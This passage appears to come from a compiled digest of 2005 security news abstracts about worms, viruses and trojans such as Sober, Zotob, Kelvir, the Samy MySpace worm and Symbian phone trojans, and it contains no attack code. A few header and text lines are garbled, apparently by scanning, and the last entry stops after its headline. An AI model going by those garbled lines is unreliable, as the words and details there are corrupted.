Apparently, messages from the Federal Bureau of Investigation and Central Intelligence Agency are the way to spread worms, a security firm said Thursday, December 1, as it tallied up Sober's wildfire spread during November and concluded that the outbreak was the biggest ever. E-mail security provider Postini said that it had quarantined more than 218 million Sober-infected messages last week, more than four times the 50 million-message average that it blocks in a run-of-the-mill month. "This Sober generated close to a 1,500 percent increase in virus infected e-mail traffic in the past week," said Scott Petry, vice president of products and engineering at Postini, in a statement. Petry also said that Sober's attack was twice as large as the largest previous on Postini's records. Other security vendors took note of the recent Sober -- the variant is dubbed Sober.x, Sober.y, or Sober.z by most anti-virus firms -- and its impact during November. Both Sophos and Fortinet, for instance, had the new Sober at the top of their November charts as well.

14.2 Worms

Category 14.2 Worms

2005-01-17 virus worm masquerading Tsunami disaster donation hoax mass mailer

DHS IAIP Daily; http://www.sophos.com/virusinfo/articles/vbsuna.html

TSUNAMI DISASTER DONATION E-MAIL PLEA IS REALLY A VIRUS

Virus experts at Sophos have discovered a mass-mailing worm that poses as a plea for donations to help with the Indian Ocean tsunami disaster. The W32/VBSun-A worm spreads via e-mail, tempting innocent users into clicking onto its malicious attachment by pretending to be information about how to donate to a tsunami relief effort. However, running the attached file will not only forward the virus to other internet users but can also initiate a Denial of Service attack against a German hacking website. E-mails sent by the worm have the subject line: "Tsunami Donation! Please help!" Although there have only been a small number of reports of the W32/VBSun-A worm, Sophos recommends computer users ensure their anti-virus software is up-to-date.

Category 14.2 Worms 2005-01-21 worm Crowt-A CNN headline masquerading Trojan Horse installation keystroke logger mailer anti-virus update

DHS IAIP Daily; http://www.sophos.com/virusinfo/articles/newsheadline.html

NEW WORM POSES AS BREAKING NEWS HEADLINES FROM CNN

Virus researchers have identified a new worm which poses as information on the latest news stories. Crowt-A(W32/Crowt-A) takes its subject lines, message content and attachment names from headlines gathered in real-time from the CNN Website. It attempts to send itself by e-mail to addresses found on infected computers. Crowt-A's subject line and attachment share the same name, but continually change to mirror the front-page headline on the CNN news site. Crowt-A also installs a backdoor Trojan function that attempts to log keystrokes on infected PCs and sends gathered data to a remote user. These Trojans are often used by hackers to gain unauthorized control of PCs and to steal personal information such as bank passwords. Companies and individuals are urged to secure their desktop and servers with automatically updated anti-virus protection.

Category 14.2 Worms

2005-01-27 MySQL worm Microsoft Windows infection common password attack bot software

DHS IAIP Daily;

http://news.com.com/MySQL+worm+hits+Windows+systems/2100-734 9_3-5553570.html?tag=nl

MYSQL WORM SPREADS AMONG WINDOWS SYSTEMS

A worm that takes advantage of administrators' poor password choices has started spreading among database systems. The malicious program, known as the "MySQL bot" or by the name of its executable code, SpoolCLL, infects computers running the Microsoft Windows operating system and open-source database known as MySQL. Early indications suggest that more than 8,000 computers may be infected so far. The worm gets initial access to a database machine by guessing the password of the system administrator, using common passwords. It then uses a flaw in MySQL to run another type of program, known as bot software, which then takes full control of the system.

Category 14.2 Worms 2005-03-01 worm Bagle variant spread Internet mass mailing Trojan Horse antivirus vendor report ZIP attachment

DHS IAIP Daily; http://news.com.com/Watchdogattacking+Bagle+ramps+up/2100-7 349_3-5594201.html?tag=nefd.top

NEW BAGLE VARIANT RAMPS UP

A new variant of Bagle is spreading rapidly, security companies have warned. Rather than a mass-mailing worm, BagleDl-L is a Trojan horse that damages security applications and attempts to connect with a number of Websites. It has been sent via spam lists to millions of addresses in the past 12 hours, said security company McAfee, which has upgraded it to a "medium" risk. The new variant could also have boosted overall Bagle traffic, which has increased five times in the past 24 hours, e-mail security vendor Postini said Tuesday, March 1. According to antivirus companies F-Secure and Sophos, the Websites linked to by the new Bagle currently contain no malicious code. However, Trojan and worm writers have been known to add malicious code to a Website after the initial attack has calmed down. For this Trojan to work, users must manually open a ZIP-file attachment that displays the programs "doc_01.exe" or "prs_03.exe," which must be run manually to infect a computer.

Category 14.2 Worms 2005-03-07 first mobile messaging worm antivirus vendor report Symbian Series 60 F-Secure address book

DHS IAIP Daily; http://www.pcworld.com/news/article/0,aid,119918,00.asp

ANTIVIRUS COMPANIES REPORT FIRST MOBILE MESSAGING WORM

The first mobile-phone virus that spreads using the popular Multimedia Messaging Service (MMS) is circulating among Symbian Series 60 mobile phones, antivirus companies have warned. Antivirus vendors first spotted the new virus, dubbed CommWarrior.A, on Monday, March 7. When an infected attachment is opened, the virus places copies of itself on vulnerable mobile phones and uses the phone's address book to send copies of itself to the owner's contacts using MMS. Antivirus experts believe CommWarrior, which has been spreading slowly among cell phone users since January, is not a serious threat. However, the virus could herald a new age of malicious and fast-spreading cell phone threats, according to Mikko Hyppönen of F-Secure Corporation. MMS is a popular text messaging technology that allows mobile phone users to send multimedia content, such as sound files or photos, between MMS-compliant mobile phones.

Category 14.2 Worms 2005-04-14 Kelvir worm Reuters instant messaging system IM attack shut down denial of service DoS

DHS IAIP Daily;

http://news.com.com/Worm+attack+forces+Reuters+IM+offline/21 00-7355_3 -5671139.html?tag=nefd.top

WORM ATTACK FORCES REUTERS INSTANT MESSAGING OFFLINE

Reuters has shut down its instant messaging (IM) system after suffering an onslaught from a new Kelvir worm, the company confirmed Thursday, April 14. The London-based international media company decided to take its Reuters Messaging system completely offline after noticing the attack on its network earlier on Thursday. The new variant attempted to spread by sending fake instant messages to people in contact lists on infected systems. The messages, crafted to look exactly like legitimate IM correspondence, attempted to lure people to a Website where their computers would be infected with Kelvir. Unlike the free IM software marketed by America Online, Microsoft and Yahoo, Reuters Messaging was created as a corporate tool, closed off from public subscribers and for internal company use only. But in recent years, the company has moved to connect its consumers with those networks. Technical workers at Reuters said they believe the new Kelvir attack could also target other IM systems. No other companies with messaging software had reported such a threat as of midday Thursday, however.

Category 14.2	Worms
2005-06-15	new worm AOL Instant Messaging IM AIM

DHS IAIP Daily; http://news.com.com/New+worm+hits+AIM+network/2100-7349_3-57 48646.html

NEW WORM HITS AOL INSTANT MESSAGING NETWORK

A new worm spread quickly on America Online's AIM instant messaging service Wednesday afternoon, June 15, but was contained within hours, experts said. The worm spread in instant messages with the text: "LOL LOOK AT HIM" and included a Web link to a file called "picture.pif." If that file was downloaded and opened, the worm would send itself to all contacts on the victim's AIM Buddy List, according to representatives from IM security companies Facetime and IMlogic. Both IMlogic and Facetime were investigating the picture.pif file to determine exactly what it does. Facetime and IMlogic received several inquiries on the worm, signaling that it was widespread. The worm hit employees at Hewlett-Packard and prompted tech support at the company to send out an alert to employees. The worm is the latest in an increasing number of cyberthreats that use instant messaging to attack Internet users. Just as with attachments and links in e-mail, instant message users should be careful when clicking on links that arrive in instant messages-even messages from people they know, experts have warned.

Category 14.2 Worms

2005-08-04 worm activity behavior dodge Net traps intrusion sensors

DHS IAIP Daily; http://news.zdnet.com/2100-1009_22-5819293.html

WORMS COULD DODGE NET TRAPS

In a pair of papers presented at the Usenix Security Symposium in Baltimore, MD, Thursday, August 4, computer scientists said would-be attackers can locate such sensors, which act as trip wires that detect unusual activity. Internet sensor networks are groups of machines that monitor traffic across active networks and chunks of unused IP space. The sensor networks generate and publish statistical reports that permit an analyst to track the traffic, sniff out malicious activity and seek ways to combat it. The locations of the Internet sensors are kept secret. In a paper titled "Mapping Internet Sensors with Probe Response Attacks," a team of computer scientists from the University of Wisconsin discovered that the sensor maps furnish just enough information for someone to create an algorithm that can map the location of the sensors. All an attacker would have to do is throw packets of information at IP addresses and then check to see whether the activity showed up on the sensor reports. Researchers from Japan came to a similar conclusion in a paper titled "Vulnerabilities of Passive Internet Threat Monitors." The threat could be diminished, both studies said, if the information in the networks' public reports was less detailed.

Category 14.2 Worms

2005-08-14 worm attack Microsoft Plug and Play vulnerability Windows XP

DHS IAIP Daily; http://www.securityfocus.com/news/11281

WORM SPREADING THROUGH MICROSOFT PLUG-AND-PLAY FLAW

A worm started spreading on Sunday, August 14, using a flaw in the Windows operating system's Plug-and-Play functionality, according to two security groups, who advised users to update systems using a patch released by Microsoft Tuesday, August 9. Researchers at anti-virus firm F-Secure, who dubbed the worm, dubbed Zotob, do not believe that the worm will widely infect computer systems. The worm does not infect computers running Windows XP Service Pack 2 nor Windows 2003, as those systems are somewhat protected against the Windows Plug-and-Play vulnerability. Machines that block port 445 using a firewall will also not be vulnerable, the company said. On Friday, the Internet Storm Center upgraded their threat level for the Internet to yellow, because three different groups had published code for taking advantage of the Microsoft Windows' Plug-and-Play flaw to compromise Windows machines. Microsoft's investigation into the worm indicated that it only infects Windows 2000 systems. The company verified that any system patched by its update released last Tuesday will not be infected by the worm.

Category 14.2	Worms
2005-08-17	worm attack media outlet computers Microsoft Windows 2K 2000
DHS IAIP Daily; http://www.bloombe jQOI&refer=us	rg.com/apps/news?pid=10000103&sid=aPrKdHO1
MEDIA OUTLET CON	MPUTERS ATTACKED BY WORM
CNN SPC Communica	tions Inc. and other media cutlet computers were shut down on Tuesday. Aponst 16 by a

CNN, SBC Communications Inc. and other media outlet computers were shut down on Tuesday, August 16, by a computer worm that targets Microsoft Corp.'s Windows software. The destructive program is a strain of an existing worm known as Zotob affecting computers running the Windows 2000 operating system, said Stephen Toulouse, security program manager at Microsoft. "Our analysis has revealed that the reported worms are different variations of the existing attack called Zotob," Toulouse wrote in an e-mailed statement. Customers who had updated their software or are using other operating system versions such as Windows XP, weren't affected, he said. CNN spokesperson Laurie Goldberg said there were computer failures in Atlanta and New York. ABC Inc. had computers on the U.S. East and West coasts affected, spokesperson Jeff Schneider said. Production of the London-based Financial Times newspaper was disrupted by the infection, said spokesperson Katy Hemmings. Some computers were affected at number two U.S. phone carrier SBC Communications call centers, forcing employees to manually enter orders, said spokesperson Michael Coe. Computers at the New York Times Co., the third-largest newspaper publisher, were also hit. Security hole patch: http://www.microsoft.com/technet/security/Bulletin/MS05-039. mspx

Category 14.2 Worms

2005-08-17 computer worms attack each other F-Secure software security virus-writing gangs Microsoft Windows 2K 2000

DHS IAIP Daily; http://tech.nytimes.com/reuters/technology/tech-viruses-fsec ure-c.html

COMPUTER WORMS ARE ATTACKING EACH OTHER ACCORDING TO ANALYST

Computer worms that have brought down systems around the world in recent days are starting to attack each other, an analyst from Finnish software security firm F-Secure said on Wednesday, August 17. "We seem to have a botwar on our hands," said Mikko Hypponen, chief research officer at F-Secure. "There appear to be three different virus-writing gangs turning out new worms at an alarming rate, as if they were competing to build the biggest network of infected machines," said Hypponen. Hypponen said in a statement that varieties of three worms -- Zotob, Bozori and IRCbot -- were still exploiting a gap in Microsoft Corp.'s Windows 2000 operating system on computers that had not had the flaw repaired and were not shielded by firewalls.

Category 14.2 Worms 2005-08-25 worm attack Microsoft MSN Messenger multiple languages Windows operating system OS

DHS IAIP Daily; http://www.networkworld.com/news/2005/082505-msn-messenger-w orm.html?fsrc=rss-security

NEW MICROSOFT MESSENGER WORM WORKS IN MULTIPLE LANGUAGES

Users of Microsoft's MSN Messenger should be aware of a new "smart" worm that checks the configuration of their Windows client and sends a message in the appropriate language, according to security companies Akonix Systems and Symantec. The Kelvir.HI worm, a variant of the Kelvir IM malware that surfaced earlier this year, appears to be the first instant-message bug capable of checking systems settings and communicating in the victim's native tongue. When the worm penetrates a system, it sends a message in one of several languages, including Dutch, English, French, German and Greek as well as Portuguese, Swedish, Spanish and Turkish. The message in English is: "haha i found your picture!" If a user clicks on a link included with the message, a copy of the W32.Spyboot worm is automatically downloaded to their computer. Spyboot is a backdoor program that can, among other things, close security applications and help further spread the worm. The Kelvir.HI worm affects computers running Windows 2000, Windows 95, Windows 98, Windows Me, Windows NT, Windows Server 2003 and Windows XP, according to a Symantec advisory.

Category 14.2 Worms 2005-09-19 worm Google spoofing warning peer-to-peer P2P game download browser corruption

DHS IAIP Daily; http://www.snpx.com/cgi-bin/news55.cgi?target=109996736?-2622

SECURITY VENDOR WARNS OF GOOGLE-SPOOFING WORM

There is a new Google worm, called P2Load.A and it is being spread on peer-to-peer programs like Shareaza and Imesh. According to Forrest Clark, senior manager of consumer product marketing with antivirus vendor Panda Software, the worm is posing as a free version of the Lucasfilm game "Knights of the Old Republic II." P2Load.A first began spreading on Wednesday and is most widely spread in the U.S. and Chile, Clark said. Users that download this game are finding themselves installing a new work and then receiving poor Google search results. This is done in installation which changes the browser when a user is trying to access Google. Instead of reaching Google the user is directed to a spoof site, hosted on a server in Germany.

Category 14.2 Worms

2005-10-13 malicious code malware javascript Web page myspace friend denial of service DoS

24

07

RISKS; http://fast.info/myspace/

IDIOT HACKER SHUTS DOWN MYSPACE USING JAVASCRIPT WORM

A criminal hacker ("Samy") using the myspace.com service decided to falsify his popularity ratings: "Let's see here...what would make my profile rock. Well, the most popular profiles on myspace pretty much consist of people with the IQ and English delivery skills of Kanye West so I don't want to mimic those, but popularity begets popularity. I need some more friends. I need people to love me. I delved into the bug and found that I could basically control the web browsing of anyone who hit my profile. In fact, I was able to develop something that caused anyone who viewed my profile to add my name to their profile's list of heroes. It's villainous. I was ecstatic. But it wasn't enough. I needed more. So I went deeper. A Chipotle burrito bol and a few clicks later, anyone who viewed my profile who wasn't already on my friends list would inadvertently add me as a friend. Without their permission. I had conquered myspace. Veni, vici."

Unfortunately, this idiot wasn'st satisfied with linear growth of his fake popularity: "But it wasn't enough.

If I can become their friend...if I can become their hero...then why can't their friends become my friend...my hero. I can propagate the program to their profile, can't I. If someone views my profile and gets this program added to their profile, that means anyone who views THEIR profile also adds me as a friend and hero, and then anyone who hits THOSE people's profiles add me as a friend and hero... So if 5 people viewed my profile, that's 5 new friends. If 5 people viewed each of their profiles, that's 25 more new friends. And after that, well, that's when things get difficult. The math, I mean. Some people would call this a worm. I call it popularity. Regardless, I don't care about popularity, but it can't hurt, right?"

Within 20 hours, he had 1,005,831 friend requests (all fake).

[Original pointer by Paul Bissex; summary byMK] Myspace had to shutdown temporarily to clean up the mess.

Catagon	14.2	Worms
Category	14.2	W OTTES

2005-11-01 Frankenstein AIM worm attack AOL instant messaging buddy icon adware rootkit infection remote control

DHS IAIP Daily; http://www.pcworld.com/news/article/0,aid,123350,00.asp

'FRANKENSTEIN' ATTACK HITS AIM

A new worm is targeting America Online instant messenger users. The worm is installing rootkit types of backdoors on infected machines. The attack starts by the user opening a link of an AOL "buddy." This link contains an infection sequence with drops adware files and the rootkit itself. Once on the PC, the malware shutsdown the antivirus software and installs new software that allos the PC to be remotely controlled.

Category14.2Worms2005-11-15instant messaging IM worm spread mutation update too slow

DHS IAIP Daily; http://www.techweb.com/wire/security/173603062

IM WORMS MUTATING AT AN ALARMING RATE

Instant-messaging (IM) threats are mutating at an alarming rate, as virus writers attempt to bypass security-system updates that corporations use for protection. A record number of IM threat mutations have been recorded by IMlogic Inc., which has found that 88 percent of all worms tracked by its threat center also have mutations. The worst chameleon is the Kelvir worm, which has mutated 123 times during the last 11 months, the Waltham, Mass., vendor said. Art Gilliland, vice president of product for IMlogic, said, "IM threats are different than email threats. Updating virus signatures doesn't work well for IM, because the mutations are exceedingly fast and so is the speed with which these threats propagate."

Category 14.2 Worms

2005-11-28 worm Sober variant rise e-mail circulation social engineering

DHS IAIP Daily;

http://www.infoworld.com/article/05/11/28/HNsobervariantrise_1.html

SOBER VARIANT ON RISE, SECURITY FIRM WARNS

The latest variant of the Sober worm is proliferating, with a staggering one in 14 e-mails circulated on the Internet containing it as of Monday morning, November 28, according to the antivirus vendor Sophos. Around 85 percent of all viruses reported to Sophos are what the company calls Sober-Z, up from around 60 percent last week, said Graham Cluley, senior technology consultant. Right now, Sober-Z ranks as the third most prevalent virus for the year, behind Netsky-P in first and Zafi-D in second, he said. It first appeared around November 22 using several forms of social engineering to trick users into executing the attachment. Messages purporting to be from the U.S. Federal Bureau of Investigation warn recipients that they have been visiting illegal Websites and ask them to read a list of attached questions. Other versions pretend to be from the U.S. Central Intelligence Agency or offer video clips of Paris Hilton and Nicole Richie from the TV show "The Simple Life." While most antivirus vendors have updates that can remove the worm, the "clever" social engineering ploys are still effective, Cluley said.

Category 14.2 Worms

2005-12-02 virus worm Sober MSN Hotmail denial-of-service DoS Comcast

DHS IAIP Daily;

http://news.com.com/Sober+worm+stalls+MSN,+Hotmail/2100-7349_3-5980987.html?part=rss&tag=5980987&subj=news

SOBER WORM STALLS MSN, HOTMAIL

A variant of Sober known as Win32/Sober.Z@mm is to blame for disrupting e-mail traffic between Comcast account holders and user's of Hotmail and MSN Friday, December 2. These Microsoft-based e-mail servers are getting pummeled with an "unusually high mail load," causing delays in e-mail delivery to Hotmail and MSN customers, said Brooke Richardson, MSN's lead product manager. Richardson also indicated that Internet service providers besides Comcast may be having problems directing e-mail to Hotmail and MSN servers. "We are working with Comcast and other ISPs to address [the] issues," Richardson said. Blog reports say that some Comcast subscribers, when sending e-mail to a Hotmail or MSN account, have received an error message saying their message was not received. However, Microsoft says that all e-mails, while some may be delayed, are eventually getting through.

Category 14.2 Worms 2005-12-05 Blaster worm active Microsoft Windows malicious software removal tool DHS IAIP Daily; http://www.eweek.com/article2/0,1895,1896373,00.asp Two All CLATTER DIA ACTION DIA ACTION WORD CONTRACT

TWO YEARS LATER, BLASTER WORM STILL THRIVING

More than two years after the Blaster Worm proliferated, the worm is still very much alive and there are fears within Microsoft that thousands of Windows machines will never be completely dewormed. According to statistics culled from Microsoft's Windows malicious software removal tool, between 500 and 800 copies of Blaster are removed from Windows machines per day. "The continued prevalence of [Blaster] is likely due to infected computers which, for one reason or another, will never be updated or disinfected. These computers will serve as eternal carriers for the worm," says Matthew Braverman, a program manager in Microsoft's Anti-Malware Engineering Team. In a case study on Blaster presented to the Virus Bulletin conference in October, Braverman said Blaster ranked in the top five of the most prevalent worms removed by the anti-malware utility. Braverman said the worm continues to be prevalent on a whopping 79 percent all Windows XP (Gold) machines and 21 percent of all Windows XP SP1 systems. On Windows XP SP2, infections are almost nonexistent, Braverman said, pointing out that XP SP2 systems went through a major post-Blaster security overhaul that means those systems cannot be infected through Blaster's main replication vector.

Category 14.2 Worms

2005-12-06 instant messaging AOL AIM worm chat dupe payload activation IMLogic

DHS IAIP Daily;

http://news.com.com/New+IM+worm+chats+with+intended+victims/ 2100-7349_3-5984845.html?tag=cd.top

NEW INSTANT MESSENGER WORM CHATS WITH INTENDED VICTIMS

A new worm that targets users of America Online's AOL Instant Messenger (AIM) is believed to be the first that actually chats with the intended victim to dupe the target into activating a malicious payload, IM security vendor IMlogic warned Tuesday, December 6. According to IMlogic, the worm, dubbed IM.Myspace04.AIM, has arrived in instant messages that state: "lol thats cool" and included a URL to a malicious file "clarissa17.pif." When unsuspecting users have responded, perhaps asking if the attachment contained a virus, the worm has replied: "lol no its not its a virus", IMlogic said. The malicious file disables security software, installs a backdoor and tweaks system files, the company said. Then it starts sending itself to contacts on the victim's buddy list. Another worm discovered Tuesday, dubbed Aimdes.E, targets AIM users and arrives with the message: "The user has sent you a Greeting Card, to open it visit." followed by a link, according to security specialist Akonix Systems. Once the target clicks on the link, the worm installs itself on the system. It opens a backdoor on the computer and sends itself to contacts on the buddy list, Akonix said.

Category 14.2 Worms

2005-12-07 worm virus attack Sober January 2005 German Nazi Party formation political agenda

DHS IAIP Daily; http://www.techweb.com/wire/security/174904530

NEXT SOBER ATTACK SLATED FOR JANUARY 5

The next big Sober worm attack is scheduled to take place Thursday, January 5, 2006, a date probably picked because it's the 87th anniversary of the founding of a precursor to the Nazi Party, a security firm said Wednesday, December 7. January 5, 2006, was the date embedded in the most recent Sober variants, said Ken Dunham, a senior engineer with Reston, VA-based VeriSign iDefense, a security intelligence firm. "We did reverse engineering on the variants, and found this date in the code," said Dunham. "The way this works is that at a pre-determined time, computers already infected with Sober will connect with specified servers and download a new payload, which will likely be spammed out in the millions, as was the last version." Sober, which boasts more than 30 variants, debuted more than two years ago, and is characterized by bilingual messages (English or German) that are mass-mailed in huge quantities. The worm's creator doesn't appear to be motivated by money. Instead, the creator -- who is assumed to be German -- has a political agenda, said Ramses Martinez, iDefense's director of malicious code operations. "There hasn't been one variant that did anything but send out right-wing German spam."

Category 14.2 Worms 2005-12-09 anti-virus vendors Sober code cracked FBI CIA e-mail spoofing F-secure blog

DHS IAIP Daily; http://news.com.com/Sober+code+cracked/2100-7349_3-5989094.html?tag=nl

ANTIVIRUS COMPANIES: SOBER CODE CRACKED

The latest variant of the Sober worm caused havoc in November by duping users into executing it by masking itself as e-mails from the Federal Bureau of Investigation and the Central Intelligence Agency. Antivirus companies were aware that the worm somehow knew how to update itself via the Web. The worm's author programmed this functionality to control infected machines and, if required, change their behavior. On Thursday, December 8, Finnish antivirus firm F-Secure revealed that it had cracked the algorithm used by the worm and could now calculate the exact URLs the worm would check on a particular day. Mikko Hypponen, chief research officer at F-Secure, explained that the virus' author has not used a constant URL because authorities would easily be able to block it. "Sober has been using an algorithm to create pseudorandom URLs which will change based on dates. Ninety-nine percent of the URLs simply don't exist...However, the virus' author can pre-calculate the URL for any date, and when he wants to run something on all the infected machines, "Hypponen wrote in his blog.

Category 14.2 Worms

2005-12-16 worm virus Dasher outbreak Internet Microsoft Windows spyware payload

DHS IAIP Daily;

http://news.com.com/Dasher+worm+gallops+onto+the+Net/2100-1002_3-5999114.html?part=rss&tag=5999114&subj=news

DASHER WORM GALLOPS ONTO THE INTERNET

A Windows-targeted worm that drops spying software on vulnerable PCs is spreading across the Internet, security experts have warned. The Dasher.B worm exploits a flaw in Microsoft Windows Distributed Transaction Coordinator, or MDTC, security companies said Friday, December 16. Microsoft announced and patched the hole in the component for transaction processing in October. However, initial glitches with the update may have left some users without a properly implemented fix, Sophos said. Dasher.B is a network worm that has the potential to open a back door on computers with the MSDTC flaw, security experts said. The infected systems are then prompted to connect to a remote computer for instructions. Once connected, it downloads a malicious program that tracks keystrokes. A third version of the worm emerged Friday, Dasher.C, which almost looks identical to Dasher.B, said Oliver Friedrichs, senior manager at Symantec's Security Response Center. Three versions of Dasher -- B, C and A, which emerged earlier this week -- have infected at least 3,000 systems worldwide, Friedrichs said, noting the growth rate of the infection has since leveled off.

14.3 Virus/worms

Category 14.3	Virus/worms	
2005-08-19	denial of service DoS virus failure backup systems business contir	nuity
RISKS	24	02

US CUSTOMS COMPUTERS FALL TO VIRUS INFECTION

A U.S. Customs database system in Virginia shut down for about 5.5 hours beginning around 6pm on 18 August. The system is used to process incoming international air passengers, but its absence caused havoc at Miami International Airport, where up to 2000 people were waiting to clear immigration. Airports in the NYC area were able to use backup systems. The cause was subsequently blamed on a virus.

[Abstract by Peter G. Neumann]

 Category
 14.3
 Virus/worms

 2005-09-22
 US-CERT malware virus worm Trojan horse naming plan obstacles

DHS IAIP Daily; http://www.eweek.com/article2/0,1895,1862251,00.asp

US-CERT MALWARE NAMING PLAN FACES OBSTACLES

US-CERT, the U.S. Computer Emergency Readiness Team, will begin issuing uniform names for computer viruses, worms, and other malicious code next month, as part of a program called the Common Malware Enumeration initiative. The program is intended to clear up confusion that results from the current decentralized system for naming Internet threats, which often results in the same virus or worm receiving different names from different anti-virus vendors. New malicious code samples are held for two hours and, if no other example of the new code is submitted, assigned a CME number.

Category 14.3 Virus/worms

2005-10-06 Vnunet Security virus US CERT Internet worms threats CME malware CVE

DHS IAIP Daily; http://www.vnunet.com/vnunet/news/2143314/security-

industry- gathers

SECURITY INDUSTRY ADOPTS UNIFORM VIRUS NAMES

The US Computer Emergency Readiness Team (US-CERT) has kicked off an initiative to create common names for Internet worms and threats. Common Malware Enumeration (CME) aims to reduce confusion with the public caused by disparate naming schemes for Internet threats. Currently Internet worms are often named using information about the virus or a follow a description the author entered when crafting the malware. The new scheme will use a sequential CME number, beginning with CME-1. A similar naming system already exists for security vulnerabilities in software, which uses a Common Vulnerability and Exposure (CVE) identifier. However, CME differs from CVE in that the worm naming initiative will not include the date.

Category 14.3 Virus/worms

2005-10-06 Common Malware Enumeration CME taxonomy disagreement security experts malicious software

EDUPAGE; http://news.com.com/2100-7348_3-5890038.html

MALWARE NAMING SCHEME PROMPTS DISAGREEMENT

Security experts are of two minds concerning the release of a scheme to provide common names for malicious software. The Common Malware Enumeration (CME) system is designed to eliminate the confusion that often arises when a new piece of malware begins circulating the Internet. As different security companies identify the code, they typically assign different names, causing confusion among computer users as to whether there are multiple threats that need to be addressed or simply one new threat with several names. Starting with the most common and damaging pieces of malware, CME will assign a unique number to each. Trend Micro's David Perry criticized the program for not covering all malware, however. He also said the scheme won't provide any benefit for consumers. His comments were echoed by IBM's Martin Overton, who said CME will make matters worse, and by Boeing's Jeanette Jarvis. Graham Cluley of Sophos, on the other hand, applauded the new system. Larry Bridwell, content security programs manager for security watchdog ICSA, also supports the naming scheme, calling it a good first step and pointing out that it was "never designed to solve the naming problem" but rather to serve "as an index." CNET, 6 October 2005

Category 14.3	Virus/worms
2005-10-26	Zotob damage businesses worm Cybertrust Internet vulnerabilities Nimba MSBlast Windows

DHS IAIP Daily;

http://news.com.com/Zotob+damage+deep+but+not+widespread/210 0-7355_3-5915591.html?tag=nefd.top

ZOTOB DAMAGE DEEP BUT NOT WIDESPREAD

Fewer businesses fell victim to the Zotob worm that struck corporate networks in August than previous attacks, according to a report released on Wednesday, October 26, by computer security firm Cybertrust. Of 700 organizations surveyed, 13 percent were disrupted by the worm. Six percent of survey respondents said Zotob's impact on their company was moderate to major, which was defined as more than \$10,000 in losses and at least one major business system affected, such as e-mail or Internet connectivity. According to the study, Zotob did far less damage than did other major worms designed to exploit Windows vulnerabilities. For example, the Nimda and 8 MSBlast worm made a moderate to major impact on 60 percent and 30 percent of companies, respectively. Zotob was less widespread, in part, because it targeted only PCs running Windows 2000. The worm exploited a hole in the operating system's plug-and-play feature, and let attackers take control of infected machines. Twenty-six percent of Zotob victims noted that infections occurred because they had no firewall in place. The health care industry was hit hardest, with more than a quarter of that sector's organizations reporting some impact. Cybertrust report: http://www.cybertrust.com/pr_events/2005/20051026.shtml

14.4 Trojans

Category 14.4 Trojans

2005-01-13 cellery worm malware tetris bandwidth saturation denial-of-service DoS trojan

NewsScan; http://news.bbc.co.uk/1/hi/technology/4170903.stm

CELLERY WORM PLAYS GAMES WITH VICTIMS

Users are being warned about the Cellery worm -- a Windows virus that piggybacks on the hugely popular Tetris game. Rather than spreading itself via e-mail, Cellery installs a playable version of Tetris on the user's machine. When the game starts up, the worm seeks out other computers it can infect on the same network. The virus does no damage, but could result in clogged traffic on heavily infected networks. "If your company has a culture of allowing games to be played in the office, your staff may believe this is simply a new game that has been installed -- rather than something that should cause concern," says a spokesman for computer security firm Sophos. (BBC News 13 Jan 2005)

Category 14.4 Trojans 2005-01-24 Trojan Horse program Symbian based phone harm useless Bluetooth reuse restore factory settings

DHS IAIP Daily; http://www.pcworld.com/news/article/0,aid,119392,00.asp

NEW TROJAN HORSE PROGRAMS WILL RENDER SOME SYMBIAN-BASED MOBILE PHONES USELESS

Two new Trojan horse programs, Gavno.a and Gavno.b, masquerade as patch files designed to trick users into downloading them, says Aaron Davidson, chief executive officer of SimWorks International. Although almost identical with Gavno.a, Gavno.b contains the Cabir worm, which attempts to send a copy of the Trojan horse to other nearby Symbian-based phones via short-range wireless Bluetooth technology. The Gavno Trojans, according to Davidson, are the first to aim at disrupting a core function of mobile phones--telephony--in addition to other applications such as text messaging, e-mail, and address books. Gavno.a and Gavno.b are proof-of-concept Trojan horses that "are not yet in the wild," Davidson says. Davidson believes the Trojan programs originated in Russia. To fix infected phones, users will need to restore them to their factory settings.

Category14.4Trojans2005-02-11Microsoft anti-spyware trojan attack information warfare disable interfere
confidentiality data theft key logging e-mail attachment

NewsScan; http://theage.com.au/articles/2005/02/11/1108061848064.html

MICROSOFT PROBES SPYWARE ATTACK

Microsoft Corp is investigating a malicious program that attempts to turn off the company's newly released anti-spyware software for Windows computers. Stephen Toulouse, a Microsoft security program manager, said yesterday that the program, known as "Bankash-A Trojan," could attempt to disable or delete the spyware removal tool and suppress warning messages. It also may try to steal online banking passwords or other personal information by tracking a user's keystrokes. To be attacked, Toulouse said a user would have to be fooled into opening an email attachment that would then start the malicious program. (The Age 11 Feb 2005)

SOPHOS anti-malware company summarizes the Trojan's functions as follows:

- * Steals credit card details
- * Turns off anti-virus applications
- * Deletes files off the computer
- * Steals information
- * Drops more malware
- * Downloads code from the internet

Category 14.4	Trojans
2005-04-08	hacker bogus Microsoft update patches e-mail Trojan Horse installation

DHS IAIP Daily; http://news.zdnet.co.uk/internet/security/0,39020375,3919430 2,00.htm

HACKERS SEND FLOOD OF BOGUS MICROSOFT UPDATES

On Thursday, April 7, the same day that Microsoft announced details of its next round of monthly patches, hackers sent out a wave of emails disguised as messages from the software company in a bid to take control of thousands of computers. The emails contain bogus news of a Microsoft update, advising people to open a link to a Web site and download a file that will secure and 'patch' their PCs. The fake Website, which is hosted in Australia, looks almost identical to Microsoft's and the download is actually a Trojan horse — a program that can give hackers remote control of a computer. Microsoft said it is looking into the situation.

Category 14.4 Trojans

2005-04-20 Trojan Horse attack Symbian cell phone wireless mobile phone industry concern SimSecure F-Secure

DHS IAIP Daily;

http://news.com.com/Trojan+horses+take+aim+at+Symbian+cell+p hones/2100 -7349_3-5678211.html

TROJAN HORSES TAKE AIM AT SYMBIAN CELL PHONES

The recent discovery of a large number of malicious mobile phone programs should raise concerns throughout the wireless industry, according to a virus tracker. Cell phone antivirus software company SimWorks reported Wednesday, April 20, that 52 new Trojan horses are hidden inside several different cell phones games and other readily available mobile phone software. While the software appears to be safe to share or use, the Trojans actually contain malicious software that crashes many critical cell phone system components. The Trojan horses target only cell phones that use Symbian, an advanced operating system. To date, no phones have been affected, according to Aaron Davidson, chief executive officer of SimWorks. While the damage is negligible so far, the recent warnings from SimWorks and security specialist F-Secure are raising alarm bells in the wireless industry. The latest report brings the total number of known Symbian Trojan horses to more than 100.

Category 14.4 Trojans 2005-06-04 hacker attack Trojan horses botnet building warning Bagle virus code organized crime

DHS IAIP Daily; http://www.eweek.com/article2/0,1759,1823633,00.asp

ANTI-VIRUS COMPANIES WARN OF TROJAN ATTACK THAT BUILDS BOTNETS

